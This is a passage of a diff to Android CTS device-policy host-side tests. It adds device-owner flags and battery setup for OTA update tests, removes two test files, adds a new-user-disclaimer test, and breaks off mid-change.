         expectedPayload[SYMBOLS_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
     }
 
     private void verifyNewStylePasswordComplexityEventPresent(List<SecurityEvent> events) {
@@ -771,10 +779,11 @@
                         getInt(e, ADMIN_USER_INDEX) == userId);
     }
 
-    private void findPasswordComplexityEvent(
+    private void assertPasswordComplexityEvent(
             String description, List<SecurityEvent> events, Object[] expectedPayload) {
-        findEvent(description, events,
-                byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload));
+        int expectedSize = mIsAutomotive ? 0 : 1;
+        assertNumberEvents(description, events,
+                byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload), expectedSize);
     }
 
     private void findNewStylePasswordComplexityEvent(
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetPolicyActivity.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetPolicyActivity.java
index b8360ea..259c8e4 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetPolicyActivity.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetPolicyActivity.java
@@ -41,6 +41,7 @@
     private static final String EXTRA_ACCOUNT_TYPE = "extra-account-type";
     private static final String EXTRA_PACKAGE_NAME = "extra-package-name";
     private static final String EXTRA_SCOPES_LIST = "extra-scopes-list";
+    private static final String EXTRA_ADMIN_TYPE = "extra-admin-type";
 
     private static final String COMMAND_ADD_USER_RESTRICTION = "add-restriction";
     private static final String COMMAND_CLEAR_USER_RESTRICTION = "clear-restriction";
@@ -65,8 +66,9 @@
     }
 
     private void handleIntent(Intent intent) {
+        boolean isDeviceOwnerTest = "DeviceOwner".equals(intent.getStringExtra(EXTRA_ADMIN_TYPE));
         DevicePolicyManager dpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
-                BaseDeviceAdminTest.BasicAdminReceiver.class);
+                        BaseDeviceAdminTest.BasicAdminReceiver.class, isDeviceOwnerTest);
         String command = intent.getStringExtra(EXTRA_COMMAND);
         Log.i(TAG, "Command: " + command + " UID: " + Process.myUid() + " DPM: " + dpm);
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SupportMessageTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SupportMessageTest.java
deleted file mode 100644
index 03ca1a3..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SupportMessageTest.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.deviceandprofileowner;
-
-import java.lang.Character;
-
-public class SupportMessageTest extends BaseDeviceAdminTest {
-
-    /**
-     * Longest allowed length of a short support message before the system may truncate it.
-     *
-     * Taken from documentation for
-     * {@link DevicePolicyManager#setShortSupportMessage(android.content.ComponentName, String)}.
-     */
-    private static final int MAX_SHORT_MSG_LENGTH = 200;
-
-    private static final int REASONABLE_LONG_MSG_LENGTH = 4000;
-
-    // Declare a different string of the same type for both long and short messages, so we can be
-    // sure they aren't mixed up by any API calls.
-    private static class ShortMessage {
-        static final CharSequence EMPTY = "";
-        static final CharSequence SIMPLE = "short-message-short";
-        static final CharSequence MAX_LENGTH =
-                new String(new char[MAX_SHORT_MSG_LENGTH]).replace('\0', 'X');
-        static final CharSequence TOO_LONG =
-                new String(new char[MAX_SHORT_MSG_LENGTH + 10]).replace('\0', 'A');
-        static final CharSequence UNICODE = new String(Character.toChars(0x1F634)) + " zzz";
-        static final CharSequence CONTAINS_NULL = "short\0null";
-    }
-    private static class LongMessage {
-        static final CharSequence EMPTY = "";
-        static final CharSequence SIMPLE = "long-message-long";
-        static final CharSequence LONG =
-                new String(new char[REASONABLE_LONG_MSG_LENGTH]).replace('\0', 'B');
-        static final CharSequence UNICODE = new String(Character.toChars(0x1F609)) + " ;)";
-        static final CharSequence CONTAINS_NULL = "long\0null";
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        clearSupportMessages();
-        super.tearDown();
-    }
-
-    public void testShortSupportMessageSetGetAndClear() {
-        setShortMessage(ShortMessage.SIMPLE);
-        setShortMessage(null);
-    }
-
-    public void testLongSupportMessageSetGetAndClear() {
-        setLongMessage(LongMessage.SIMPLE);
-        setLongMessage(null);
-    }
-
-    public void testLongAndShortMessagesDoNotClobber() {
-        setShortMessage(ShortMessage.SIMPLE);
-        setLongMessage(LongMessage.SIMPLE);
-
-        assertEquals(ShortMessage.SIMPLE, getShortMessage());
-        assertEquals(LongMessage.SIMPLE, getLongMessage());
-    }
-
-    public void testMaximumLengthPrefixIsSaved() {
-        // Save and restore a string of exactly the maximum length
-        setShortMessage(ShortMessage.MAX_LENGTH);
-
-        /*
-         * Save and restore a "short message" string that is too large -- this may only store the
-         * first N characters, not the whole thing, so we need to use {@link String#startsWith}
-         * here.
-         */
-        mDevicePolicyManager.setShortSupportMessage(ADMIN_RECEIVER_COMPONENT,
-                ShortMessage.TOO_LONG);
-        assertStartsWith(ShortMessage.TOO_LONG.subSequence(0, MAX_SHORT_MSG_LENGTH),
-                getShortMessage());
-
-        // Long support messages should not be affected; verify that.
-        mDevicePolicyManager.setLongSupportMessage(ADMIN_RECEIVER_COMPONENT, LongMessage.LONG);
-        assertEquals(LongMessage.LONG, getLongMessage());
-    }
-
-    public void testEmptySupportMessage() {
-        setShortMessage(ShortMessage.EMPTY);
-        setLongMessage(LongMessage.EMPTY);
-    }
-
-    public void testUnicodeCharactersInMessage() {
-        setShortMessage(ShortMessage.UNICODE);
-        setLongMessage(LongMessage.UNICODE);
-    }
-
-    public void testNullCharacterInMessage() {
-        setShortMessage(ShortMessage.CONTAINS_NULL);
-        setLongMessage(LongMessage.CONTAINS_NULL);
-    }
-
-    public void testSetOrGetSupportMessageWithNullAdminFails() {
-        // Short support message
-        try {
-            mDevicePolicyManager.setShortSupportMessage(null, ShortMessage.SIMPLE);
-            fail("Exception should have been thrown for null admin ComponentName");
-        } catch (NullPointerException expected) {
-        }
-        try {
-            CharSequence message = mDevicePolicyManager.getShortSupportMessage(null);
-            fail("Exception should have been thrown for null admin ComponentName");
-        } catch (NullPointerException expected) {
-        }
-
-        // Long support message
-        try {
-            mDevicePolicyManager.setLongSupportMessage(null, LongMessage.SIMPLE);
-            fail("Exception should have been thrown for null admin ComponentName");
-        } catch (NullPointerException expected) {
-        }
-
-        try {
-            CharSequence message = mDevicePolicyManager.getLongSupportMessage(null);
-            fail("Exception should have been thrown for null admin ComponentName");
-        } catch (NullPointerException expected) {
-        }
-    }
-
-    /**
-     * Delete all admin-set support messsages.
-     */
-    private void clearSupportMessages() {
-        setShortMessage(null);
-        setLongMessage(null);
-    }
-
-    /**
-     * Update the short support message.
-     *
-     * @throws AssertionError in the case that the message could not be set.
-     */
-    private void setShortMessage(CharSequence message) {
-        mDevicePolicyManager.setShortSupportMessage(ADMIN_RECEIVER_COMPONENT, message);
-        assertEquals(message, getShortMessage());
-    }
-
-    /**
-     * Update the long support message.
-     *
-     * @throws AssertionError in the case that the message could not be set.
-     */
-    private void setLongMessage(CharSequence message) {
-        mDevicePolicyManager.setLongSupportMessage(ADMIN_RECEIVER_COMPONENT, message);
-        assertEquals(message, getLongMessage());
-    }
-
-    private CharSequence getShortMessage() {
-        return mDevicePolicyManager.getShortSupportMessage(ADMIN_RECEIVER_COMPONENT);
-    }
-
-    private CharSequence getLongMessage() {
-        return mDevicePolicyManager.getLongSupportMessage(ADMIN_RECEIVER_COMPONENT);
-    }
-
-    private static void assertStartsWith(CharSequence expectPrefix, CharSequence actual) {
-        assertNotNull(expectPrefix);
-        assertNotNull(actual);
-        if (!actual.toString().startsWith(expectPrefix.toString())) {
-            fail("Expected prefix: '" + expectPrefix + "'\n" +
-                 "            got: '" + actual + "'");
-        }
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
index 53fa547..2dfa7e1 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
@@ -63,39 +63,64 @@
                 InstallSystemUpdateCallback.UPDATE_ERROR_FILE_NOT_FOUND);
     }
 
-    public void testInstallUpdate_failNoZipOtaFile() throws InterruptedException {
+    public void testInstallUpdate_failNoZipOtaFile() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
-    public void testInstallUpdate_failWrongPayloadFile() throws InterruptedException {
+    public void testInstallUpdate_failWrongPayloadFile() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
-    public void testInstallUpdate_failEmptyOtaFile() throws InterruptedException {
+    public void testInstallUpdate_failEmptyOtaFile() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
-    public void testInstallUpdate_failWrongHash() throws InterruptedException {
+    public void testInstallUpdate_failWrongHash() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
-    public void testInstallUpdate_failWrongSize() throws InterruptedException {
+    public void testInstallUpdate_failWrongSize() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
     public void testInstallUpdate_notCharging_belowThreshold_failsBatteryCheck() throws Exception {
@@ -251,4 +276,31 @@
     private boolean isDeviceAB() {
         return "true".equalsIgnoreCase(SystemProperties.get(AB_DEVICE_KEY, ""));
     }
+
+    private boolean deviceHasBattery() {
+        final Intent batteryInfo = mContext.registerReceiver(null,
+                new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+        return batteryInfo != null
+               && batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
+    }
+
+    /**
+     * This is just for batteryless device,as we know from above that remaining capacity
+     * is 0 on Android 9 and higher. We need set battery status to meet the test conditions
+     * of InstallUpdateTest for batteryless device.
+     * For device has a battery, the test conditions follow the real status of the battery.
+     */
+    private void setupBatteryState() throws Exception {
+        if (!deviceHasBattery()) {
+            setChargingBatteryThreshold(TEST_BATTERY_THRESHOLD);
+            setChargingBatteryLevelAndWait(TEST_BATTERY_THRESHOLD);
+        }
+    }
+
+    private void teardownBatteryState() {
+        if (!deviceHasBattery()) {
+            resetBatteryState();
+            resetDevicePolicyConstants();
+        }
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseAffiliatedProfileOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseAffiliatedProfileOwnerTest.java
index cbf82cc..7567724 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseAffiliatedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseAffiliatedProfileOwnerTest.java
@@ -42,7 +42,7 @@
         // In headless system user mode, affiliated PO is set on seceondary when DO is setup on
         // user 0. Therefore, this test will run on user 0.
         mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
-                BasicAdminReceiver.class);
+                BasicAdminReceiver.class, /* forDeviceOwner= */ true);
         assertDeviceOrAffiliatedProfileOwner();
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index e09fc54..acbfb08 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -52,6 +52,7 @@
 
     protected DevicePolicyManager mDevicePolicyManager;
     protected WifiManager mWifiManager;
+    protected WifiManager mCurrentUserWifiManager;
     protected WifiConfigCreator mWifiConfigCreator;
     protected Instrumentation mInstrumentation;
     protected UiDevice mDevice;
@@ -65,21 +66,18 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        mUserId = mContext.getUserId();
+        Log.v(TAG, getClass().getSimpleName() + ".setUp(): test=" + getClass() + ", userId="
+                + mUserId);
+
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mDevice = UiDevice.getInstance(mInstrumentation);
         mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
-                BasicAdminReceiver.class);
+                BasicAdminReceiver.class, /* forDeviceOwner= */ true);
         mWifiManager = TestAppSystemServiceFactory.getWifiManager(mContext,
                 BasicAdminReceiver.class);
-        WifiManager currentUserWifiManager = mContext.getSystemService(WifiManager.class);
-        mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager) {
-            @Override
-            public List<WifiConfiguration> getConfiguredNetworks() {
-                // Must always use the current user's wifi manager, otherwise it would fail on
-                // headless system user (as the device owner is not the current user).
-                return currentUserWifiManager.getConfiguredNetworks();
-            }
-        };
+        mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+        mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager);
 
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
@@ -87,10 +85,8 @@
                 PackageManager.FEATURE_TELEPHONY);
         mIsAutomotive = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_AUTOMOTIVE);
-        mUserId = mContext.getUserId();
 
-        Log.v(TAG, getClass() + ".setUp(): userId=" + mUserId + ", dpm=" + mDevicePolicyManager
-                + ", wifiManager=" + mWifiManager);
+        Log.v(TAG, "dpm=" + mDevicePolicyManager + ", wifiManager=" + mWifiManager);
 
         assertDeviceOwner();
     }
@@ -125,4 +121,12 @@
     protected final UserHandle getCurrentUser() {
         return UserHandle.of(ActivityManager.getCurrentUser());
     }
+
+    protected final List<WifiConfiguration> getConfiguredNetworks() {
+        // Must use a the WifiManager of the current user to list networks, as
+        // getConfiguredNetworks() would return empty on systems using headless system
+        // mode as that method "Return a list of all the networks configured for the current
+        // foreground user", and the system user is running in the background in this case.
+        return mCurrentUserWifiManager.getConfiguredNetworks();
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
index bf08014..2802d6a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
@@ -110,7 +110,7 @@
      * disallowed anymore.
      */
     public void testOppDisabledWhenRestrictionSet() throws Exception {
-        if (mBluetoothAdapter == null) {
+        if (mBluetoothAdapter == null || UserManager.isHeadlessSystemUserMode()) {
             return;
         }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index 6bc8a42..4f98568 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -32,6 +32,7 @@
 import android.os.IBinder;
 import android.os.PersistableBundle;
 import android.os.RemoteException;
+import android.os.SystemClock;
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.provider.Settings;
@@ -79,15 +80,6 @@
         assertWithMessage("New user").that(userHandle).isNotNull();
     }
 
-    public void testCreateAndManageUser_LowStorage() throws Exception {
-        UserManager.UserOperationException e = expectThrows(
-                UserManager.UserOperationException.class, () -> createAndManageUser());
-
-        assertUserOperationResult(e.getUserOperationResult(),
-                UserManager.USER_OPERATION_ERROR_LOW_STORAGE,
-                "user creation on low storage");
-    }
-
     public void testCreateAndManageUser_MaxUsers() throws Exception {
         UserManager.UserOperationException e = expectThrows(
                 UserManager.UserOperationException.class, () -> createAndManageUser());
@@ -190,8 +182,10 @@
     @SuppressWarnings("unused")
     private static void logoutUser(Context context, DevicePolicyManager devicePolicyManager,
             ComponentName componentName) {
-        assertUserOperationResult(devicePolicyManager.logoutUser(componentName),
-                UserManager.USER_OPERATION_SUCCESS, "cannot logout user");
+        Log.d(TAG, "calling logutUser() on user " + context.getUserId());
+        int result = devicePolicyManager.logoutUser(componentName);
+        Log.d(TAG, "result: " + result);
+        assertUserOperationResult(result, UserManager.USER_OPERATION_SUCCESS, "cannot logout user");
     }
 
     public void testCreateAndManageUser_LogoutUser() throws Exception {
@@ -206,6 +200,63 @@
                 .containsExactly(userHandle, userHandle);
     }
 
+    public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+        // First check that the current user doesn't need it
+        UserHandle currentUser = getCurrentUser();
+        Log.d(TAG, "Checking if current user (" + currentUser + ") is acked");
+        assertWithMessage("isNewUserDisclaimerAcknowledged() for current user %s", currentUser)
+                .that(mDevicePolicyManager.isNewUserDisclaimerAcknowledged()).isTrue();
+
+        UserHandle newUser = runCrossUserVerificationSwitchingUser("newUserDisclaimer");
+        PrimaryUserService.assertCrossUserCallArrived();
+    }
+
+    @SuppressWarnings("unused")
+    private static void newUserDisclaimer(Context context, DevicePolicyManager dpm,
+            ComponentName componentName) {
+
+        // Need to wait until host-side granted INTERACT_ACROSS_USERS - use getCurrentUser() to
+        // check
+        int currentUserId = UserHandle.USER_NULL;
+        long maxAttempts = ON_ENABLED_TIMEOUT_SECONDS;
+        int waitingTimeMs = 1_000;
+        int attempt = 0;
+        int myUserId = context.getUserId();
+        do {
+            attempt++;
+            try {
+                Log.d(TAG, "checking if user " + myUserId + " is current user");
+                currentUserId = ActivityManager.getCurrentUser();
+                Log.d(TAG, "currentUserId: " + currentUserId);
+            } catch (SecurityException e) {
+                Log.d(TAG, "Got exception (" + e.getMessage() + ") on attempt #" + attempt
+                        + ", waiting " + waitingTimeMs + "ms until app is authorized");
+                SystemClock.sleep(waitingTimeMs);
+
+            }
+        } while (currentUserId != myUserId && attempt < maxAttempts);
+        Log.v(TAG, "Out of the loop, let's hope for the best...");
+
+        if (currentUserId == UserHandle.USER_NULL) {
+            throw new IllegalStateException("App could was not authorized to check current user");
+        }
+        assertWithMessage("current user").that(currentUserId).isEqualTo(myUserId);
+
+        // Now that the plumbing is done, go back to work...
+        Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged()");
+        boolean isAcked = dpm.isNewUserDisclaimerAcknowledged();
+
+        Log.d(TAG, "is it: " + isAcked);
+        assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isFalse();
+        Log.d(TAG, "Calling acknowledgeNewUserDisclaimer()");
+        dpm.acknowledgeNewUserDisclaimer();
+
+        Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged() again");
+        isAcked = dpm.isNewUserDisclaimerAcknowledged();
+        Log.d(TAG, "is it now: " + isAcked);
+        assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isTrue();
+    }
+
     @SuppressWarnings("unused")
     private static void assertAffiliatedUser(Context context,
             DevicePolicyManager devicePolicyManager, ComponentName componentName) {
@@ -298,6 +349,17 @@
     private UserHandle runCrossUserVerification(UserActionCallback callback,
             int createAndManageUserFlags, String methodName,
             Set<String> currentUserPackages) throws Exception {
+        return runCrossUserVerification(callback, createAndManageUserFlags, methodName,
+                /* switchUser= */ false, currentUserPackages);
+    }
+    private UserHandle runCrossUserVerificationSwitchingUser(String methodName) throws Exception {
+        return runCrossUserVerification(/* callback= */ null, /* createAndManageUserFlags= */ 0,
+                methodName, /* switchUser= */ true, /* currentUserPackages= */ null);
+    }
+
+    private UserHandle runCrossUserVerification(UserActionCallback callback,
+            int createAndManageUserFlags, String methodName, boolean switchUser,
+            Set<String> currentUserPackages) throws Exception {
         Log.d(TAG, "runCrossUserVerification(): flags=" + createAndManageUserFlags
                 + ", method=" + methodName);
         String testUserName = "TestUser_" + System.currentTimeMillis();
@@ -320,7 +382,9 @@
         Log.d(TAG, "creating user with PO " + profileOwner);
 
         UserHandle userHandle = createAndManageUser(profileOwner, bundle, createAndManageUserFlags);
-        if (callback != null) {
+        if (switchUser) {
+            switchUserAndWaitForBroadcasts(userHandle);
+        } else if (callback != null) {
             startUserInBackgroundAndWaitForBroadcasts(callback, userHandle);
         } else {
             startUserInBackgroundAndWaitForBroadcasts(userHandle);
@@ -481,7 +545,7 @@
 
     public static final class PrimaryUserService extends Service {
         private static final Semaphore sSemaphore = new Semaphore(0);
-        private static String sError = null;
+        private static String sError;
 
         private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() {
             public void onEnabledCalled(String error) {
@@ -500,6 +564,8 @@
         }
 
         static void assertCrossUserCallArrived() throws Exception {
+            Log.v(TAG, "assertCrossUserCallArrived(): waiting " + ON_ENABLED_TIMEOUT_SECONDS
+                    + " seconds for callback");
             assertWithMessage("cross-user call arrived in %ss", ON_ENABLED_TIMEOUT_SECONDS)
                     .that(sSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS))
                     .isTrue();
@@ -511,11 +577,10 @@
     }
 
     public static final class SecondaryUserAdminReceiver extends DeviceAdminReceiver {
-
         @Override
         public void onEnabled(Context context, Intent intent) {
             Log.d(TAG, "SecondaryUserAdminReceiver.onEnabled() called on user "
-                    + context.getUserId());
+                    + context.getUserId() + " and thread " + Thread.currentThread());
 
             DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
             ComponentName who = getComponentName(context);
@@ -554,9 +619,13 @@
             } catch (InvocationTargetException e) {
                 error = e.getCause().toString();
             }
+            if (error != null) {
+                Log.e(TAG, "Error calling method: " + error);
+            }
 
             // Call all affiliated users
             final List<UserHandle> targetUsers = dpm.getBindDeviceAdminTargetUsers(who);
+            Log.d(TAG, "target users: " + targetUsers);
             assertWithMessage("target users").that(targetUsers).hasSize(1);
 
             pingTargetUser(context, dpm, targetUsers.get(0), error);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DefaultSmsApplicationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DefaultSmsApplicationTest.java
deleted file mode 100644
index 7ef37d7..0000000
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DefaultSmsApplicationTest.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.deviceowner;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.admin.DevicePolicyManager;
-import android.provider.Telephony;
-import android.util.Log;
-
-public class DefaultSmsApplicationTest extends BaseDeviceOwnerTest {
-
-    private static final String TAG = DefaultSmsApplicationTest.class.getSimpleName();
-
-    public void testSetDefaultSmsApplication() {
-        // Must use a DPM associated with the current user because the Telephony.Sms methods will
-        // return the app for the calling user, and on headless system user, mDevicePolicyManager
-        // wraps the calls to the DeviceOwner user (which fails the test because the value didn't
-        // change as expected).
-        DevicePolicyManager dpm = mContext.getSystemService(DevicePolicyManager.class);
-
-        String previousSmsAppName = Telephony.Sms.getDefaultSmsPackage(mContext);
-        String newSmsAppName = "android.telephony.cts.sms.simplesmsapp";
-        Log.v(TAG, "testSetDefaultSmsApplication(): previous=" + previousSmsAppName
-                + ", new=" + newSmsAppName + ", user=" + mContext.getUserId()
-                + ", isAffiliated=" + dpm.isAffiliatedUser());
-
-        dpm.setDefaultSmsApplication(getWho(), newSmsAppName);
-        String defaultSmsApp = Telephony.Sms.getDefaultSmsPackage(mContext);
-        assertWithMessage("default app returned by Telephony.Sms after set by DPM")
-                .that(defaultSmsApp).isNotNull();
-        assertWithMessage("default app returned by Telephony.Sms after set by DPM")
-                .that(defaultSmsApp).isEqualTo(newSmsAppName);
-
-        // Restore previous default sms application
-        dpm.setDefaultSmsApplication(getWho(), previousSmsAppName);
-        defaultSmsApp = Telephony.Sms.getDefaultSmsPackage(mContext);
-        assertWithMessage("default app returned by Telephony.Sms after restored by DPM")
-                .that(defaultSmsApp).isNotNull();
-        assertWithMessage("default app returned by Telephony.Sms after restored by DPM")
-                .that(defaultSmsApp).isEqualTo(previousSmsAppName);
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
index a6dcb8d..7ebb1a0 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -84,7 +84,7 @@
             + "VcUyQ1/e7WQgOaBHi9TefUJi+4PSVSluOXon\n"
             + "-----END CERTIFICATE-----";
     private final DevicePolicySafetyCheckerIntegrationTester mTester =
-            new DevicePolicySafetyCheckerIntegrationTester() {
+            new DevicePolicySafetyCheckerIntegrationTester(/* forDeviceOwner= */ true) {
 
         @Override
         protected int[] getSafetyAwareOperations() {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetPolicyActivity.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetPolicyActivity.java
index 706a9c4..65cce15 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetPolicyActivity.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetPolicyActivity.java
@@ -53,7 +53,7 @@
 
     private void handleIntent(Intent intent) {
         DevicePolicyManager dpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
-                BasicAdminReceiver.class);
+                BasicAdminReceiver.class, /* forDeviceOwner= */ true);
         String command = intent.getStringExtra(EXTRA_COMMAND);
         Log.i(TAG, "Command: \"" + command + " DPM: " + dpm);
         ComponentName admin = BasicAdminReceiver.getComponentName(this);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java
index d296229..0af958e 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java
@@ -105,10 +105,10 @@
             assertTrue("timed out waiting for timezone change broadcast",
                 latch.await(TIMEOUT_SEC, TimeUnit.SECONDS));
 
-            // There might be a delay in timezone setting propagation, so we retry for 5 seconds.
+            // There might be a delay in timezone setting propagation, so we retry for 10 seconds.
             int retries = 0;
             while (!testTimeZone.equals(TimeZone.getDefault().getID())) {
-                if (retries++ > 5) {
